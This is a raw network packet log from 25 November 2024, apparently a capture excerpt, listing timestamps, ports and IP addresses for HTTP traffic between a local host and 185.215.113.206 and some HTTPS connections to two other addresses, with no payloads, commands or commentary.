Nov 25, 2024 14:14:43.615719080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.615772963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.615783930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.615797997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.615855932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.615855932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.616278887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.616388083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.616919041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.617108107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.617177010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.617253065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.637533903 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.637564898 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.637656927 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.637686968 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.637799025 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.639848948 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.639862061 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.640301943 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.640356064 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.642384052 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.647833109 CET	49846	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.647855043 CET	443	49846	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.648592949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.648602962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.648734093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.648864031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.648885965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.648967028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.649852991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.649888992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.649931908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.650012970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.650818110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.650837898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.650953054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.711498022 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.711522102 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.711587906 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.711622953 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.711710930 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.714087009 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.714103937 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.718755007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.718782902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.718867064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.719214916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.719276905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.719353914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.719475985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.720200062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.720352888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.720379114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.721263885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.721355915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.721385956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.721810102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.722414970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.722574949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.722745895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.723635912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.723799944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.723949909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.724337101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.724433899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.724447966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.724479914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.724668980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.725078106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.725096941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.725183964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.725995064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.726082087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.726164103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.726258039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.727030993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.727045059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.727092981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.727092981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.727986097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.728061914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.728084087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.728128910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.729002953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.729185104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.729362011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.729873896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.729991913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.730017900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.730153084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.730936050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.731075048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.731113911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.731831074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.731904984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.731931925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.732028008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.732857943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.733436108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.733638048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.733828068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.734091043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.734117985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.740192890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.768316031 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.769851923 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.769903898 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.769912004 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.770004034 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.778958082 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.778975010 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.786063910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.786257029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.786298037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.786398888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.786494970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.786907911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.786993980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.787504911 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.787564993 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.787615061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.787635088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.787642956 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.787661076 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.787662029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.787684917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.787904978 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.788343906 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.788737059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.788806915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.789060116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.789447069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.789448023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.789465904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.789493084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.789551973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.790537119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.790623903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.790680885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.790739059 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.790755987 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.790781975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.791378975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.791472912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.791903973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.791989088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.792306900 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.792361021 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.792412996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.792438030 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.792454958 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.792598009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.792629957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.792725086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.793411016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.793498039 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.793498039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.793565989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.793565989 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.794727087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.794753075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.794780016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.794925928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.795362949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.795578957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.795836926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.796550989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.796675920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.796901941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.797713041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.797852039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.797875881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.797945023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.797945023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.798594952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.798724890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.798836946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.798903942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.799387932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.799407959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.799469948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.800928116 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.800945997 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.800996065 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.801062107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.801084042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.801086903 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.801101923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.801142931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.801683903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.801712036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.801858902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.802277088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.802295923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.802387953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.803242922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.803263903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.803320885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.804008007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.804246902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.804352999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.804874897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.805068970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.805089951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.805111885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.805232048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.805948019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.806036949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.806730032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.806873083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.807066917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.807087898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.807600975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.808056116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.808074951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.808222055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.808923960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.809015036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.809036970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.809134960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.809894085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.810125113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.810782909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.810803890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.810909986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.810909986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.810934067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.811100006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.812021017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.812278986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.812306881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.813075066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.813184023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.813576937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.813674927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.813944101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.814145088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.814311981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.814474106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.815032005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.815407991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.815464973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.815558910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.815978050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.815996885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.816060066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.816128016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.816627979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.816696882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.816869020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.816962004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.817574024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.817635059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.850368023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.850523949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.850564957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.850816965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.850974083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.851003885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.851414919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.851639032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.851788044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.851799965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.851850033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.852582932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.853022099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.886454105 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:43.920200109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.920311928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.920422077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.920661926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.920722961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.920913935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.921129942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.921188116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.921801090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.921860933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.921955109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.922025919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.922863960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.922931910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.923120975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.923188925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.923780918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.923830032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.923841953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.923906088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.924911022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.925000906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.925056934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.925103903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.925992966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.926132917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.926196098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.926796913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.926855087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.926871061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.927098036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.927334070 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:43.927624941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.927684069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.927861929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.927917957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.928700924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.928756952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.928786993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.928869009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.929553032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.929615021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.929766893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.929852962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.930725098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.930740118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.930783987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.930811882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.931442976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.931823969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.931894064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.932637930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.932653904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.932696104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.932713032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.933626890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.933867931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.933939934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.934381008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.934438944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.934636116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.934731960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.935333014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.935461998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.989578009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.989603996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.989658117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.989682913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.990521908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.990817070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.990883112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.990977049 CET	80	49760	185.215.113.206	192.168.2.5
